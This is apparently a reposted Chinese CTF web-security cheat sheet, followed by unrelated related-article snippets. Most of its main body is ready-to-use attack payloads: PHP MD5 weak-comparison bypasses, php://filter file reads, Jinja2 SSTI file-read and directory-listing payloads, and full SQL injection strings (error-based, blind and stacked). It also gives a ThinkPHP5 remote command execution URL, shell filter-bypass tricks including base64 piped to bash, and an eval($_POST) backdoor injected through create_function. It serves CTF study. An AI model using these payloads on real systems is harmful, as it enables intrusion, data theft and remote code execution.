web杂项

news/2024/9/18 13:35:31/ 标签: 前端, android

1.$a!=$b
md5(a)==md5(b):弱绕过问题
可以用科学技术法形式来进行绕过
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514

2.如果是强类型
md5(a)===md5(b)
通过数组绕过
当传入的a和b是数组形式时,转化成MD5都是null
http://127.0.0.1:20080/test.php?a[]=a1&a[]=a2&a[]=a3:传入数组形式,传入多个参数
如果不传键,默认就是0,1,2,3
如果传了键,最终形式就是这样的
http://127.0.0.1:20080/test.php?a[2]=a1&a[3]=a2&a[0]=a3&a[1]=a4
2=>string 'a1'( length=2 )
3=>string 'a2'( length=2 )
0=>string 'a3'(length=2 )
1=>string 'a4 ' ( length=2 )

3.(string)$a!=(string)$b
md5(a)===md5(b):只能用MD5碰撞

$a                       md5($a)
0e215962017     0e291242476940776845150308577824
0e00275209979 0e551387587965716321018342879905
0e00506035745 0e224441551631909369101555335043
0e00540451811 0e057099852684304412663796608095
0e00678205148 0e934049274119262631743072394111
0e00741250258 0e899567782965109269932883593603
 

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

1.preg_replace(mixed $pattern, mixed $replacement, mixed $subject, int $limit = -1, int &$count = null)
$pattern: 正则表达式模式,可以是字符串或一个模式数组。如果是数组,preg_replace() 会用相应的替换字符串处理多个模式。
$replacement: 替换字符串,可以是字符串或一个替换字符串数组。如果是数组,preg_replace() 会用每个模式的相应替换字符串进行替换。
$subject: 要搜索和替换的输入字符串,可以是一个字符串或字符串数组。如果是数组,preg_replace() 会对每个字符串应用替换操作。
$limit: (可选)限制替换的次数,默认值是 -1,表示没有限制。如果指定了正整数,则最多进行这么多次替换。
$count: (可选)一个变量,将被填充为替换发生的次数。
例如:
$subject = "Hello World!";
$pattern = "/World/";
$replacement = "PHP";
$result = preg_replace($pattern, $replacement, $subject);
echo $result;  // 输出: Hello PHP!

2.error_reporting(0);关闭PHP的错误报告,隐藏潜在的错误和警告

3.strpos() 函数,用于查找字符串首次出现的位置。如果找到了字符串,strpos 会返回第一次出现的位置(基于 0 的索引);如果没有找到字符串,则返回 false

4.isset() 它用于检查一个变量是否已经被设置并且不是 NULL。如果变量存在且其值不是 NULL,那么 isset() 函数将返回 true;否则,它将返回 false

5.file_get_contents() 函数,它的主要作用是读取文件的内容,并将这些内容作为一个字符串返回
file_get_contents($file2) 读取的是 $file2 参数指定的文件内容。由于 $file2 的值是 php://input 流,这个流读取的是原始 POST 数据,您不能直接将 $file2 的值设置为 hello ctf

6.highlight_file(__FILE__) 会将当前 PHP 文件的内容以语法高亮的形式输出到浏览器或命令行界面

7.data协议:允许开发者在HTML、CSS、JavaScript等文件中直接嵌入小型数据,如图像、文本、字体文件等。它的基本格式如下
data:[<mediatype>][;base64],<data>
abc=data://text/plain;base64.xxxxxx=

8.filter协议:filter协议在PHP中是通过filter://来指定的,它允许在流操作时应用各种过滤器。你可以在读取或写入文件时应用过滤器来处理数据
php://filter/read=convert.base64-decode/resource=path/to/your/file.txt 这个路径指定了使用convert.base64-decode过滤器来读取文件

?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm

9.弱类型:
===:在进行比较时,会先判断两种字符串的类型是否相等,在进行比较
==:在进行比较时,会先将字符串类型转化成相同,在进行比较 
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,
则子符串会做转携成数值开且比较按照数值来进行
“1admin”==1 -》true a:不是数值类型,则将其后面的所有包括他自己全部丢弃

10.phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。

11.php反序列化漏洞:执行unserialize()时,先会调用__wakeup()。当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
正常情况下序列化
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
O:表示这是一个对象
4:类名的长度
“xctf”:类名
1:表示该对象有一个属性(属性值)
s:表示该属性是一个字符串
4:字符串的长度
“flag”:属性名
s:属性值是一个字符串
3:是属性值的长度
“111”:是属性的值

12.常见的备份文件类型后缀名有: .git .svn .swp .svn .~ .bak .bash_history

13php://input协议

14.intval()函数:将传入的参数传化为整数,如果是字符串则会丢弃非数值部分
echo intval("123abc"); // 输出 123
echo intval("abc123"); // 输出 0,因为字符串开头没有数字
echo intval(12.34); // 输出 12
echo intval(true); // 输出 1
echo intval(false); // 输出 0
echo intval(null); // 输出 0
echo intval("");   // 输出 0

15.substr()函数:substr(string $string, int $start, int $length = null): string
$start:开始位置。可以是正数、负数或 0。
正数:从字符串的左边(第一个字符)开始计算的位置。例如,0 表示从第一个字符开始,1 表示从第二个字符开始。
负数:从字符串的右边(最后一个字符)向左倒数的位置。例如,-1 表示从最后一个字符开始,-2 表示从倒数第二个字符开始。

16.科学计数法绕过strlen($a)<3:a=1e9

17.is_arrary():检查是否是数组

18.php://filter/read=convert.iconv.utf8.utf16/resource=./check.php
如果被过滤,也可以去掉read=

19.function __destruct() {
    if (in_array($this->method, array("ping"))) {
        call_user_func_array(array($this, $this->method), $this->args);
    }
}当对象被销毁时,析构函数检查 $this->method 是否是 "ping",如果是,它就使用 call_user_func_array 动态调用 ping 方法,并将 $this->args 作为参数传递给它

1.php反序列化解题步骤
1.复制源代码到php编码器
2.注释掉非属性代码
3.为属性赋值(最重要)
4.通常需要生成序列化数据,使用urlencode编码


2.魔术方法
_construct()   //对象创建(new)时会自动调用。
_wakeup()    //使用unserialize时触发
  sleep()      //使用serialize时触发
__destruct() //对象被销毁时触发
_call()         //在对象上下文中调用不可访问的方法时触发
_callStatic() /在静态上下文中调用不可访问的方法时触发
__get()     //用于从不可访问的属性读取数据
__set()     //用于将数据写入不可访问的属性
_isset()    //在不可访问的属性上调用isset(或empty()触发
_unset()  //在不可访问的属性上使用unset(时触发
__toString()        //把类当作字符串使用时触发
_invoke()      //当脚本尝试将对象调用为函数时触发
autoload()    //在代码中当调用不存在的类时会自动调用该方法。

1.flask的ssti(服务端模板注入)
//在使用flask/jinja2 的模板渲染函数 render_template_string 的同时,使用%s 来替换字符串的时候,
会把字符串中被{{}}包围内容当作变量解析
2.判断是否存在注入点
输入: {{7+7}}
{{config.items}}:查看服务器配置
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}:使用python的魔法命令直接查询目录
{{''.__class__.__mro__[2].__subclasses__()[40]('index.py').read()}}:查看文件index.py

1.Mysql基础
库->表->列->行
sqlmap -u "http://example.com/vulnerable.php?id=1&name=test" -p id --dbs
sqlmap -u "http://example.com/vulnerable.php" --headers="User-Agent: Mozilla/5.0" -p User-Agent --dbs
sqlmap -u "http://example.com/vulnerable.php" --cookie="id=1; name=test" -p id --dbs
sqlmap -u "http://example.com/vulnerable.php?id=1" --dbms=mysql --dbs

2.报错注入
获取数据库:http://example.com/index.php?id=1'or(updatexml(1, concat(0x7e, (select database()), 0x7e), 1)#
获取表名http://example.com/vulnerable.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='your_database_name' LIMIT 0, 1), 0x7e), 1) --//limit 0,1获取第一个表名 limit 1,1:获取第二个表名
获取字段名:http://example.com/vulnerable.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='your_table_name' LIMIT 0, 1), 0x7e), 1) --
获取字段值:http://example.com/vulnerable.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT your_column_name FROM your_table_name LIMIT 0, 1), 0x7e), 1) --

3.布尔盲注
获取数据库:http://example.com/vulnerable.php?id=1' AND (SELECT IF(SUBSTRING((SELECT DATABASE()), 1, 1) = 'a', 1, 0)) -- 
获取表名:http://example.com/vulnerable.php?id=1' AND (SELECT IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0, 1), 1, 1) = 't', 1, 0)) -- 
获取字段名:http://example.com/vulnerable.php?id=1' AND (SELECT IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='your_table_name' LIMIT 0, 1), 1, 1) = 'c', 1, 0)) -- 
探测字段值:http://example.com/vulnerable.php?id=1' AND (SELECT IF(SUBSTRING((SELECT your_column_name FROM your_table_name LIMIT 0, 1), 1, 1) = 'v', 1, 0)) -- 

4.基于时间的盲注

获取数据库:http://example.com/vulnerable.php?id=1' AND IF(SUBSTRING((SELECT DATABASE()), 1, 1) = 'a', SLEEP(5), 0) -- 
获取表:http://example.com/vulnerable.php?id=1' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0, 1), 1, 1) = 't', SLEEP(5), 0) -- 
获取字段名:http://example.com/vulnerable.php?id=1' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='your_table_name' LIMIT 0, 1), 1, 1) = 'c', SLEEP(5), 0) -- 
获取字段值:http://example.com/vulnerable.php?id=1' AND IF(SUBSTRING((SELECT your_column_name FROM your_table_name LIMIT 1 OFFSET 1), 1, 1) = 'v', SLEEP(5), 0) -- 

python sqlmap.py "URL" --current-db:
python sqlmap.py "URL" -D cyber --tables:
python sqlmap.py "URL" -D cyber -T kp --columns:
python sqlmap.py "URL" -D cyber -T kp -C "tp" --dump:

如果是对于post请求

python sqlmap.py "URL" --data="key1=value1*&key2=value2"--dbs或者--current-db:*表示优先对这个参数进行探测

python sqlmap.py "URL" --data="key1=value1*&key2=value2"-D cyber --tables

手工注入:
1.联合注入
1.判断是数值型还是字符型
2.1' orber by 1#猜解字段
3.1' union select 1,database(),version()#猜解数据库和版本
4.1' union select 1,null,group_concat(table_name)from information_schema.tables where
table_schema=database()#
5.1' union select 1,null,group_concat(column_name)from information_schema.columns where
table_name='news'#
6.1' union select 1,null,group_concat(password) from news

堆叠注入:
1';show databases;#
1';show tables;#
1';show columns from `1919810931114514`;#注意字符串为表名操作时要加反引号
handler `1919810931114514` open as `a`;handler `a` read next;
handler语句为mysql注入所独有的,
 

find / -name "*flag*"
构造payload:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
flag{thinkphp5_rce}
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=find / -name “*flag*”

变量覆盖问题

extract()函数:
extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。
<?php
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
结果:$a = Cat; $b = Dog; $c = Horse

2.Parse_str()函数
parse_str 是 PHP 中的一个函数,用于将查询字符串解析为变量,或者将其解析为数组。这个函数通常用于处理 URL 中的查询字符串,将其转换为可以直接在 PHP 中使用的变量或数组。

parse_str(string, array);
string: 必需。要解析的查询字符串。
array: 可选。一个数组,查询字符串会被解析为这个数组。如果省略这个参数,函数会将查询字符串解析为变量。

$query = "name=John&age=30&city=NewYork";
parse_str($query);

echo $name; // 输出: John
echo $age;  // 输出: 30
echo $city; // 输出: NewYork

$query = "name=John&age=30&city=NewYork";
parse_str($query, $output);

print_r($output);
/*
输出:
Array
(
    [name] => John
    [age] => 30
    [city] => NewYork
)
*/

绕过问题

1.空格被过滤
$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}//逗号实现空格功能
%20
%09

2.python+号被过滤
'a''b'->'ab'
'a'+'b'->'ab'

3.过滤某些关键字
ca\t y1nlg.php    反斜线绕过
cat y1"ng.php    两个单引号绕过
echo“Y2FOIHkxbmcucGhw”| base64 -d | bash   base64编码绕过(| 是管道符,表示将前一个命令的输出传递给下一个命令作为输入)
echo“6361742079316E672E706870”| xxd -r -p / bash  hex编码绕过
cat y1 [n] g.php 用[]匹配
cat yin*  用*匹配任意
cat y1n? 用?匹配单个
cat y1{a..Z}g  内联执行
变量a=fl;b=ag;cat $a$b.php

4.当数字和字母全部被过滤,可以用异或的方式
这是异或的代码
<?php
$a  = "ls";
for ($i=0;$i<strlen ( $a); $i++)
{
echo "%"dechex (ord ( $a[$i])^0xff);
}
echo "^";
for ($i=0; $i<strlen( $a); $i++) 
{
echo "%ff";
}
使用时可以先将需要的命令进行异或
?code=(异或)()

特殊命令
?><?=`/???/???%20*`;
<?php
<? short_tag
shell_exec执行系统命令
/???/??? *
/bin/ cat *

5.creat_function():创建函数
$code = “return($a+$b) ; }eval($_POST[ 'Y1ng']); //”
$ f=create_function( '$a,$b',$code);
相当于得到:
 function f($a,$b){
return $a+$b;
}
eval($_POST[ 'Y1ng' ]);//}

1.Referer字段:看从哪里来的

2.url编码就是对其16进制前添加%,如hex(a)=61,url(a)=%61
那么二次编码,相当于对%进行一次url编码,hex(%)=25,url(%)=%25

2.User-Agent:看是哪个浏览器发过来的

3.网页的源代码很重要

4.robots.txt:爬虫协议,存在于网页的根目录

5.vim在异常退出时会保存一个备份文件,如.index.php.swp,所以可以在原网站地址栏处输入.index.php.swp可能会存在flag

6.可以在火狐浏览器里面-》检查-》修改修改网页元素

7.大部分的python网站脚本名都是app.py。路径不太清楚,不过肯定不是当前路径

8.当一个数组被当作函数触发时,如果数组第一个元素是对象,第二个元素时方法的名字,那么就会调用该对象下的方法

9.<?php
class A{
public $name ;
public function test (){
echo "数组特性\n" ;
}
$a=new A;$a->test ();
$arr=[$a , 'test ' ];
$arr () ;
?>
echo 数组特性
echo 数组特性

10.$f=create function ( '$a, $b', 'echo($a+$b) ');

11.数组赋值:array('a'=>$b)

12.(如,要求从某个IP或主机访问,一般是修改X-Forwarded-For,X-Forwarded-Host ,CLIENT-IP, host参数的值,要求从某国家访问,一般修改Accept-Language值,要求从某个页面访问就修改referer,有关身份认证类的一般修改cookie的值。) 


正则表达式

字符匹配:直接匹配单个字符。例如,a 匹配字母 'a'。

点号 (.):匹配除换行符以外的任何单个字符。例如,a.b 匹配 acb 或 a-b,但不匹配 ab。

方括号 ([]):定义一个字符类。匹配方括号中的任何一个字符。例如,[abc] 匹配 a、b 或 c。

脱字符 (^):在方括号内表示否定。例如,[^abc] 匹配任何不在 abc 中的字符。

连字符 (-):在方括号中表示范围。例如,[a-z] 匹配任何小写字母。

竖线 (|):表示逻辑“或”。例如,cat|dog 匹配 cat 或 dog。

问号 (?):表示前面的字符是可选的,匹配 0 次或 1 次。例如,a? 匹配 a 或不匹配任何字符。

星号 (*):表示前面的字符可以重复 0 次或多次。例如,a* 匹配 a、aa、aaa 或空字符串。

加号 (+):表示前面的字符可以重复 1 次或多次。例如,a+ 匹配 a、aa、aaa 但不匹配空字符串。

大括号 ({n,m}):表示前面的字符至少出现 n 次,至多出现 m 次。例如,a{2,4} 匹配 aa、aaa 或 aaaa。

圆括号 (()):用于分组和提取子匹配。例如,(abc)+ 匹配 abc、abcabc 等。

\d:匹配任何数字,等同于 [0-9]。

\D:匹配任何非数字字符,等同于 [^0-9]。

\w:匹配任何字母、数字或下划线,等同于 [a-zA-Z0-9_]。

\W:匹配任何非字母、数字或下划线,等同于 [^a-zA-Z0-9_]。

\s:匹配任何空白字符(如空格、制表符、换行符),等同于 [ \t\n\r\f\v]。

\S:匹配任何非空白字符,等同于 [^ \t\n\r\f\v]。

^:匹配字符串的开始位置。例如,^abc 匹配以 abc 开头的字符串。

$:匹配字符串的结束位置。例如,abc$ 匹配以 abc 结尾的字符串。

\b:匹配单词边界(即单词与非单词字符之间的位置)。例如,\bword\b 匹配 word 但不匹配 sword。

\B:匹配非单词边界。例如,\Bword\B 匹配 sword 但不匹配 word。

\1、\2 等:反向引用之前的分组。例如,(ab)\1 匹配 abab。

(?:...):非捕获分组,用于分组但不捕获。与普通分组不同,这种分组不会保存匹配的内容。

i:不区分大小写匹配。例如,/abc/i 匹配 ABC、Abc 等。

m:多行模式,使 ^ 和 $ 匹配行的开始和结束位置,而不仅仅是字符串的开始和结束。例如,/^abc/m 匹配 abc 开头的行。

s:单行模式,使 . 匹配包括换行符在内的任何字符。例如,/a.b/s 匹配 a\nb。

x:扩展模式,允许在正则表达式中使用空格和注释。例如,/a b # comment/x 匹配 ab,# comment 被视为注释。

/i:
/:正则表达式的结束定界符。
i:修饰符,表示匹配时不区分大小写(case-insensitive)。但是,在这个特定的正则表达式中,大小写并没有实际影响,因为正则表达式中只有小写字母 o 和 c。


http://www.ppmy.cn/news/1524628.html

相关文章

数据结构6—队列(附源码)

1.队列 1.1 概念与结构 概念&#xff1a;只允许在一端插入数据操作&#xff0c;在另一端进行删除数据操作的特殊线性表&#xff0c;队列具有先进先出FIFO&#xff08;First In First Out&#xff09; 入队列&#xff1a;进行插入操作的一端称为队尾 出队列&#xff1a;进行…

Spring中Bean的相关注解

目录 1.Spring IoC&DI 2.关于Bean存储的相关注解(类注解与方法注解) Bean的获取方式 类注解和方法注解的重命名 2.1 类注解 2.1.1 Controller 2.1.2 Service 2.1.3 Repository 2.1.4 Component 2.1.5 Configuration 2.2 方法注解-Bean 2.2.1 定义多个对象 2.2…

四七层如何获取客户端真实地址

7层代理会对报文进行重新封装&#xff0c;封装过程中可以通过增加XFF的header传递客户端IP。4层转发不会修改报文。在不修改HTTP报文前提下&#xff0c;前置补充代理信息, 格式: PROXY TCP 客户端IP 代理端IP 客户端端口 代理端端口。 nginx 七层代理配置&#xff1a; server …

求逆序对(平推)

题目描述 给定一个序列a1,a2,…,an&#xff0c;如果存在i<j并且ai>aj&#xff0c;那么我们称之为逆序对&#xff0c;求逆序对的数目。 输入 第一行&#xff0c;一个数 n&#xff0c;表示序列中有 n个数。 第二行 n 个数&#xff0c;表示给定的序列。序列中每个数字不…

Unexpected token ‘o‘, “[object Obj“... is not valid JSON 报错原因解释

在开发时使用到JSON.parse报错&#xff0c;不过第一次不会报错&#xff0c;解释一下原因&#xff1a; JSON.parse()用于从一个字符串中解析出json对象&#xff0c;举个例子&#xff1a; var str {"name":"Bom","age":"15"}JSON.par…

salesforce user 使用 dataloader.io 需要哪些权限

使用 dataloader.io 来处理 Salesforce 数据时&#xff0c;用户需要具备特定的权限&#xff0c;确保能够顺利进行数据导入、导出和更新操作。以下是所需的关键权限&#xff1a; 1. API 访问权限 “API Enabled” 权限&#xff1a;dataloader.io 依赖 Salesforce API 来与 Sal…

JVM面试真题总结(六)

文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 解释GC的标记-整理算法及其优点 GC&#xff08;垃圾收集&#xff…

WPF利用Path自定义画头部导航条(TOP)样式

1;新建两个多值转换器&#xff0c;都有用处&#xff0c;用来动态确定PATH的X,Y州坐标的。 EndPointConverter 该转换器主要用来动态确定X轴&#xff0c;和Y轴。用于画线条的。 internal class EndPointConverter : IMultiValueConverter {public object Convert(object[] val…

【视频教程】Python语言在地球科学领域中的实践技术应用

Python是功能强大、免费、开源&#xff0c;实现面向对象的编程语言&#xff0c;Python能够运行在Linux、Windows、Macintosh、AIX操作系统上及不同平台&#xff08;x86和arm&#xff09;&#xff0c;Python简洁的语法和对动态输入的支持&#xff0c;再加上解释性语言的本质&…

【C++】list(下)

个人主页~ list&#xff08;上&#xff09;~ list 四、模拟实现1、list.h&#xff08;1&#xff09;关于整个list的搭建①节点②迭代器③接口 &#xff08;2&#xff09;自定义类型实例化 2、test.cpp&#xff08;1&#xff09;test1&#xff08;2&#xff09;test2 五、额外小…

0906作业+思维导图梳理

一、作业&#xff1a; 1、创捷一个类似于qq登录的界面 1&#xff09;源代码 #include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this);//QPushbutton:登录、退出this-…

决策树(Decison Tree)—有监督学习方法、概率模型、生成模型、非线性模型、非参数化模型、批量学习

定义 ID3算法 输入&#xff1a;训练数据集&#xff08;T { ( x 1 , y 1 ) , ( x 2 , y 2 ) , ⋯ , ( x N , y N ) } \left\{(x_1,y_1),(x_2,y_2),\cdots,(x_N,y_N)\right\} {(x1​,y1​),(x2​,y2​),⋯,(xN​,yN​)}&#xff09;&#xff0c;特征集A阀值 ε \varepsilon ε 输…

日志框架log4j打印异常堆栈信息携带traceId,方便接口异常排查

一、异常堆栈无traceId 排查定位问题异常痛苦 在日常项目开发中&#xff0c;我们会自定义一个traceId方便&#xff0c;链路追踪。在log4j2.xml 我们可能是这样去配置日志打印格式。 <Console name"CONSOLE" target"SYSTEM_OUT"><PatternLayoutpa…

大腾智能出席龙华云创中心启动与鸿蒙园揭牌仪式

在数字化转型的浪潮中&#xff0c;深圳市龙华区再次引领行业创新&#xff0c;携手华为云成功举办“龙华工业软件云工程应用创新中心启动仪式暨鸿蒙产业园揭牌仪式”&#xff0c;本次盛会已于8月26日圆满落幕。活动现场&#xff0c;来自全国各地的行业精英、企业领袖及专家学者汇…

基于SpringBoot+Vue+MySQL的滑雪场管理系统

系统展示 用户前台界面 管理员后台界面 系统背景 在快速发展的冰雪运动热潮下&#xff0c;为了提升滑雪场的管理效率与顾客体验&#xff0c;我们设计并实现了一套基于SpringBoot后端框架、Vue前端框架以及MySQL数据库的滑雪场管理系统。该系统旨在通过数字化手段&#xff0c;优…

web框架

1. Web框架: 1.1Web框架定义&#xff1a; Web框架是一个用于构建Web应用程序的软件框架&#xff0c;它提供了一套完整的开发工具和库&#xff0c;以简化Web应用的开发过程。Web框架通常实现了HTTP协议、路由机制、模板渲染、数据验证、数据库操作等常用功能。 1.2Web框架与数…

苹果三款Mac新品十月登场:标配M4系列芯片

Mark Gurman爆料&#xff0c; 苹果将在10月推出14和16英寸MacBook Pro、Mac mini和iMac等设备&#xff0c;标配M4系列芯片。 据悉&#xff0c;苹果Mac新品搭载的M4芯片有两种版本&#xff0c;一种是10核CPU10核GPU&#xff0c;一种是8核CPU8核GPU。 值得注意的是&#xff0c;以…

如何将网络安全防范游戏化

组织对威胁的准备和恢复能力跟不上网络犯罪分子的进步。 一些首席执行官仍然认为网络安全需要偶尔干预&#xff0c;而不是持续关注。 但对于许多公司来说&#xff0c;情况并非如此&#xff1b;网络威胁准备需要协调一致的培训工作&#xff0c;因此网络安全团队在攻击发生时已…

Qt对话框布局调整

Qt 基础: 在"main.cpp" 文件的开始部分加入以下头文件&#xff1a; #include<Qsplitter> #include<QTextEdit> #include<QTextCodec> 停靠窗口QDockWidget 类: 停靠窗口QDockWidget 类也是在应用程序中经常用到的&#xff0c;设置停靠窗口的…

18 Python如何操作文件?

本篇是 Python 系列教程第 18 篇&#xff0c;更多内容敬请访问我的 Python 合集 1 打开文件 通常使用内置的 open(文件路径, 模式, encoding"utf-8")函数。 文件路径&#xff1a;可以是相对路径或绝对路径。模式&#xff1a;&#xff08;可选&#xff09;决定了文件…